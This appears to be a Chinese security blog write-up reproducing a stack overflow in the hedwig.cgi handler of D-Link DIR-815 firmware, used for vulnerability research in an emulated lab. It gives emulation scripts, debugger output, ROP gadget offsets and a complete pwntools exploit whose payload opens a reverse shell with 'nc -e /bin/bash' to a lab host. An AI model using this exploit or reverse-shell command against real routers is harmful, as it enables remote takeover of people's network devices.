酷应用

DLink 815系列路由器栈溢出漏洞分析与复现

百家作者：Chamd5安全团队 2022-01-06 18:53:40

漏洞介绍：
DIR-815?cgibi中hedwig_cgi函数中处理HTTP?头中?Cookie?字段中?uid?的值时存在栈溢出漏洞
版本：DIR-815 FW 1.01b14_1.01b14

一、固件解包

利用binwalk进行固件解包：

binwalk?-e?DIR-815?FW?1.01b14_1.01b14.bin

得到文件系统如下：

二、漏洞静态分析

漏洞存在于hedwig_cgi函数中，当其处理前端的HTTP头中Cookie字段的uid值时，存在栈溢出漏洞。hedwig_cgi是集成到cgibin文件中的，因此直接拖取cgibin文件进行分析，定位hedwig_cgi函数：
当程序获取Cookie字段中的uid值后，直接将内容复制到v27所在数组中，造成栈溢出。

对应汇编代码如下:

函数返回处汇编代码如下：

三、漏洞动态调试

为了能对程序进行调试，确认溢出偏移量，需要进行仿真，下面分用户仿真和系统仿真两种方法。

1.用户仿真

用户仿真脚本如下：

#!/bin/bash
test=$(python?-c?"print?'uid='?+?'A'*1043?+?'BBBB'")
LEN=$(echo?-n?"$test"?|?wc?-c)
PORT="1234"
sudo?chroot?.?./qemu-mipsel-static?-E?CONTENT_LENGTH=$LEN?-E?CONTENT_TYPE="application/x-www-form-urlencoded"?-E?REQUEST_METHOD="POST"?-E?HTTP_COOKIE=$test?-E?REQUEST_URL="/hedwig.cgi"?-g?$PORT?/htdocs/web/hedwig.cgi?2>/dev/null

在ubuntu18虚拟机下，用户仿真用gdb调试失败，但是可以利用ida进行远程调试
但是在用户仿真情况下，不能正常执行shellcode相关功能，因此还是利用系统仿真。

2.系统仿真

（1）系统仿真启动
首先进行qemu虚拟机启动：

sudo?qemu-system-mipsel?-M?malta?-kernel?vmlinux-3.2.0-4-4kc-malta?-hda?debian_squeeze_mipsel_standard.qcow2?-append?"root=/dev/sda1?console=tty0"?-net?nic?-net?tap?-nographic

在主机中进行网络配置：

sudo?sysctl?-w?net.ipv4.ip_forward=1
sudo?iptables?-F
sudo?iptables?-X
sudo?iptables?-t?nat?-F
sudo?iptables?-t?nat?-X
sudo?iptables?-t?mangle?-F
sudo?iptables?-t?mangle?-X
sudo?iptables?-P?INPUT?ACCEPT
sudo?iptables?-P?FORWARD?ACCEPT
sudo?iptables?-P?OUTPUT?ACCEPT
sudo?iptables?-t?nat?-A?POSTROUTING?-o?ens33?-j?MASQUERADE
sudo?iptables?-I?FORWARD?1?-i?tap0?-j?ACCEPT
sudo?iptables?-I?FORWARD?1?-o?tap0?-m?state?--state?RELATED,ESTABLISHED?-j?ACCEPT
sudo?ifconfig?tap0?192.168.100.254?netmask?255.255.255.0

在虚拟机中进行网络配置：

ifconfig?eth1?192.168.100.2?netmask?255.255.255.0
route?add?default?gw?192.168.100.254

主机虚拟机互相ping通：

为了方便调试，关闭地址随机化：

echo?0?>?/proc/sys/kernel/randomize_va_space

上传路由器文件系统：

scp?-r?squashfs-root/?root@192.168.100.2:~/

系统仿真时，需要模拟启动hedwig.cgi相关服务，模拟其相关服务时需要配置好conf文件：（放在squash根目录下）

Umask?026
PIDFile?/var/run/httpd.pid
LogGMT?On??#开启log
ErrorLog?/log?#log文件
Tuning
{
????NumConnections?15
????BufSize?12288
????InputBufSize?4096
????ScriptBufSize?4096
????NumHeaders?100
????Timeout?60
????ScriptTimeout?60
}
Control
{
????Types
????{
????????text/html????{?html?htm?}
????????text/xml????{?xml?}
????????text/plain????{?txt?}
????????image/gif????{?gif?}
????????image/jpeg????{?jpg?}
????????text/css????{?css?}
????????application/octet-stream?{?*?}
????}
????Specials
????{
????????Dump????????{?/dump?}
????????CGI????????????{?cgi?}
????????Imagemap????{?map?}
????????Redirect????{?url?}
????}
????External
????{
????????/usr/sbin/phpcgi?{?php?}
????}
}
Server
{
????ServerName?"Linux,?HTTP/1.1,?"
????ServerId?"1234"
????Family?inet
????Interface?eth0?????????#网卡
????Address?192.168.100.2??#qemu的ip地址
????Port?"4321"????????????#对应web访问端口
????Virtual
????{
????????AnyHost
????????Control
????????{
????????????Alias?/
????????????Location?/htdocs/web
????????????IndexNames?{?index.php?}
????????????External
????????????{
????????????????/usr/sbin/phpcgi?{?router_info.xml?}
????????????????/usr/sbin/phpcgi?{?post_login.xml?}
????????????}
????????}
????????Control
????????{
????????????Alias?/HNAP1
????????????Location?/htdocs/HNAP1
????????????External
????????????{
????????????????/usr/sbin/hnap?{?hnap?}
????????????}
????????????IndexNames?{?index.hnap?}
????????}
????}
}

然后利用如下脚本在qemu中启动httpd服务：（在根目录下运行）

#!/bin/bash
cp?conf?/
cp?sbin/httpd?/
cp?-rf?htdocs/?/
rm?/etc/services
cp?-rf?etc/?/
cp?lib/ld-uClibc-0.9.30.1.so??/lib/
cp?lib/libcrypt-0.9.30.1.so??/lib/
cp?lib/libc.so.0??/lib/
cp?lib/libgcc_s.so.1??/lib/
cp?lib/ld-uClibc.so.0??/lib/
cp?lib/libcrypt.so.0??/lib/
cp?lib/libgcc_s.so??/lib/
cp?lib/libuClibc-0.9.30.1.so??/lib/
cd?/
ln?-s?/htdocs/cgibin?/htdocs/web/hedwig.cgi
ln?-s?/htdocs/cgibin?/usr/sbin/phpcgi
ln?-s??/htdocs/cgibin?/usr/sbin/hnap
./httpd?-f?conf

然后在ubuntu中访问hedwig.cgi服务：

在qemu中直接运行hedwig.cgi服务，显示no REQUEST，说明hedwig.cgi服务没有收到请求

因此需要提前配置REQUEST_METHOD等方法，这里通过环境变量进行设置：

export?CONTENT_LENGTH="100"
export?CONTENT_TYPE="application/x-www-form-urlencoded"
export?REQUEST_METHOD="POST"
export?REQUEST_URI="/hedwig.cgi"
export?HTTP_COOKIE="uid=1234"

此时再运行hedwig.cgi服务即可正常接收内容：

（2）调试确定栈溢出偏移
下面利用gdbserver对hedwig.cgi服务进行调试，调试脚本如下：

#!/bin/bash
export?CONTENT_TYPE="application/x-www-form-urlencoded"
export?HTTP_COOKIE=$(python?-c?"print?'uid='?+?'A'*1009?+?'BBBB'")
#export?HTTP_COOKIE="uid=`cat?context`"
export?CONTENT_LENGTH=$(echo?-n?"$HTTP_COOKIE"?|?wc?-c)
export?REQUEST_METHOD="POST"
export?REQUEST_URI="/hedwig.cgi"
echo?"uid=4321"|./gdbserver.mipsle?192.168.100.254:8888?/htdocs/web/hedwig.cgi
#echo?"uid=4321"|/htdocs/web/hedwig.cgi

qemu中运行调试脚本，ubuntu中进行gdb连接：

在hedwig_cgi函数的返回地址下断，然后查看此时栈空间：

SP???0x7fff63c8??—?0x0
*PC???0x409a38??—?lw?????$s6,?0x4d8($sp)
─────────[?DISASM?]─────────
???0x409a28????lw?????$ra,?0x4e4($sp)
???0x409a2c????move???$v0,?$s7
???0x409a30????lw?????$fp,?0x4e0($sp)
???0x409a34????lw?????$s7,?0x4dc($sp)
???0x409a38????lw?????$s6,?0x4d8($sp)
???0x409a3c????lw?????$s5,?0x4d4($sp)
???0x409a40????lw?????$s4,?0x4d0($sp)
???0x409a44????lw?????$s3,?0x4cc($sp)
???0x409a48????lw?????$s2,?0x4c8($sp)
???0x409a4c????lw?????$s1,?0x4c4($sp)
???0x409a50????lw?????$s0,?0x4c0($sp)

查看此时sp+0x4e4地址，成功劫持。因此可以判定偏移量为1009.

pwndbg>?x/20xw?0x7fff68ac
0x7fff68ac:?0x42424242?0x77fe2100?0x77fe26bc?0x77fe236c
0x7fff68bc:?0x7fff68c0?0x77faa4e0?0x00000000?0x00000000
0x7fff68cc:?0x00000000?0x00000000?0x00000000?0x00000000
0x7fff68dc:?0x00000000?0x00000003?0x00400034?0x00000004
0x7fff68ec:?0x00000020?0x00000005?0x00000008?0x00000006

（3）ROP链构造
核心目的就是劫持返回地址，执行system( )函数。为了避免cache incoherency机制，我们利用system函数来构造ROP链进行shell的反弹，而不直接布置shellcode。首先要确定可以调用system函数的libc，利用vmmap查看各区段：

pwndbg>?vmmap
LEGEND:?STACK?|?HEAP?|?CODE?|?DATA?|?RWX?|?RODATA
??0x400000???0x41c000?r-xp????1c000?0??????/htdocs/cgibin
??0x42c000???0x42d000?rw-p?????1000?1c000??/htdocs/cgibin
??0x42d000???0x430000?rwxp?????3000?0??????[heap]
0x77f34000?0x77f92000?r-xp????5e000?0??????/lib/libc.so.0
0x77f92000?0x77fa1000?---p?????f000?0??????
0x77fa1000?0x77fa2000?r--p?????1000?5d000??/lib/libc.so.0
0x77fa2000?0x77fa3000?rw-p?????1000?5e000??/lib/libc.so.0
0x77fa3000?0x77fa8000?rw-p?????5000?0??????
0x77fa8000?0x77fd1000?r-xp????29000?0??????/lib/libgcc_s.so.1
0x77fd1000?0x77fe1000?---p????10000?0??????
0x77fe1000?0x77fe2000?rw-p?????1000?29000??/lib/libgcc_s.so.1
0x77fe2000?0x77fe7000?r-xp?????5000?0??????/lib/ld-uClibc.so.0
0x77ff5000?0x77ff6000?rw-p?????1000?0??????
0x77ff6000?0x77ff7000?r--p?????1000?4000???/lib/ld-uClibc.so.0
0x77ff7000?0x77ff8000?rw-p?????1000?5000???/lib/ld-uClibc.so.0
0x7ff58000?0x7fff7000?rwxp????9f000?0??????[stack]
0x7fff7000?0x7fff8000?r-xp?????1000?0??????[vdso]

查看libc.so.0链接的libc文件：

ls?-l?libc.so.0
lrwxrwxrwx?1?root?root?21?12月?26?22:03?libc.so.0?->?libuClibc-0.9.30.1.so

因此所需要的system函数及相关gadgets均在libuClibc-0.9.30.1.so。
根据mipsrop工具查找到的gadgets，构造ROP链：
这里参考《揭秘家用路由器0day漏洞挖掘技术》一书的方法：先将 system 函数的地址 -1 传入某个寄存器中，之后找到对这个寄存器进行加 +1 的操作的 gadget 进行调用即可将system地址恢复，因此我们查找“addiu $s0,1”指令，选用gadgets：158c8

可知第一个gadgets可以将s0赋值为system函数地址。
现在我们还需要找到给system函数传参的gadgets。利用mipsrop.stackfinder，选用gadgets：159cc。因为其既可以跳转至system函数，又可以通过s5给system函数传参。

因此整体流程为：

劫持地址-->gadget1:0x158c8(给s0赋值为system函数地址,跳转至s5)--->gadgets2:0x159cc(给system函数传参并跳转执行)

因此exp编写如下：

#!/usr/bin/python2
from?pwn?import?*
context.endian?=?"little"
context.arch?=?"mips"
base_addr?=?0x77f34000
system_addr_1?=?0x53200-1
gadget1?=?0x158c8
gadget2?=?0x159cc
cmd?=?'nc?-e?/bin/bash?192.168.100.254?9999'
padding?=?'A'?*?973
padding?+=?p32(base_addr?+?system_addr_1)?#?s0
padding?+=?'A'?*?4????????????????????????#?s1
padding?+=?'A'?*?4????????????????????????#?s2
padding?+=?'A'?*?4????????????????????????#?s3
padding?+=?'A'?*?4????????????????????????#?s4
padding?+=?p32(base_addr+gadget2)?????????#?s5
padding?+=?'A'?*?4????????????????????????#?s6
padding?+=?'A'?*?4????????????????????????#?s7
padding?+=?'A'?*?4????????????????????????#?fp
padding?+=?p32(base_addr?+?gadget1)???????#?ra
padding?+=?'B'?*?0x10
padding?+=?cmd
f?=?open("context",'wb')
f.write(padding)
f.close()

运行exp生成context，将congtext上传，然后运行hedwig.cgi服务：

!/bin/bash
export?CONTENT_TYPE="application/x-www-form-urlencoded"
#export?HTTP_COOKIE=$(python?-c?"print?'uid='?+?'A'*1009?+?'BBBB'")
export?HTTP_COOKIE="uid=`cat?context`"
export?CONTENT_LENGTH=$(echo?-n?"$HTTP_COOKIE"?|?wc?-c)
export?REQUEST_METHOD="POST"
export?REQUEST_URI="/hedwig.cgi"
#echo?"uid=4321"|./gdbserver.mipsle?192.168.100.254:8888?/htdocs/web/hedwig.cgi
echo?"uid=4321"|/htdocs/web/hedwig.cgi